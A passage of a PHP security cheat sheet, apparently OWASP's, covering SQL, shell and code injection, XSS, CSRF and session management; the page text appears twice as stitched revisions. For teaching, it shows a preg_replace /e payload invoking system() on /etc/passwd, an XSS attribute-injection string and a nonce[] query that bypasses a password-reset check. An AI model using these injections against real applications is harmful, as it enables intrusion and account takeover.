run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:34:44Z

Luke Plant: /* Unhelpful builtins */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
